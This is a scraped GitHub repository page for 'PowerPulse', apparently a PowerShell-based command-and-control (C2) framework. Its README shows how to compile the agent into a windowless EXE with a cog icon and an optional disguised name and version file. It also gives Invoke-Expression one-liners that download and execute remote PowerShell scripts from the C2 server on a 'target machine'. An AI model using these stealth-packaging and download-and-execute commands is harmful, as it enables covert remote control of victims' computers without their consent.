Skip to content

al1abb/C2

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

67 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

C2

You should include 3 JSON files in /server directory: agents.json, commands_output.json, commands.json

Agent

Install EXE

pyinstaller --onefile --noconsole --icon=cog.ico agent.py

Install EXE (with a different name)

pyinstaller --onefile --noconsole --icon=cog.ico --name=ExeName agent.py

Install EXE (with a name + a custom version file)

pyinstaller --onefile --noconsole --icon=cog.ico --name=ExeName --version-file=version.txt agent.py

Custom powershell script usage:

To run custom powershell scripts on target machine (Agent), you can execute this command:

Invoke-Expression ( [System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -Uri "http://192.168.30.21:5000/static/scripts/script.ps1").Content) )

Change wallpaper to cat image:

Invoke-Expression ( [System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -Uri "http://192.168.30.21:5000/static/scripts/wallpaper.ps1").Content) )

About

PowerPulse. A PowerShell based C2

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published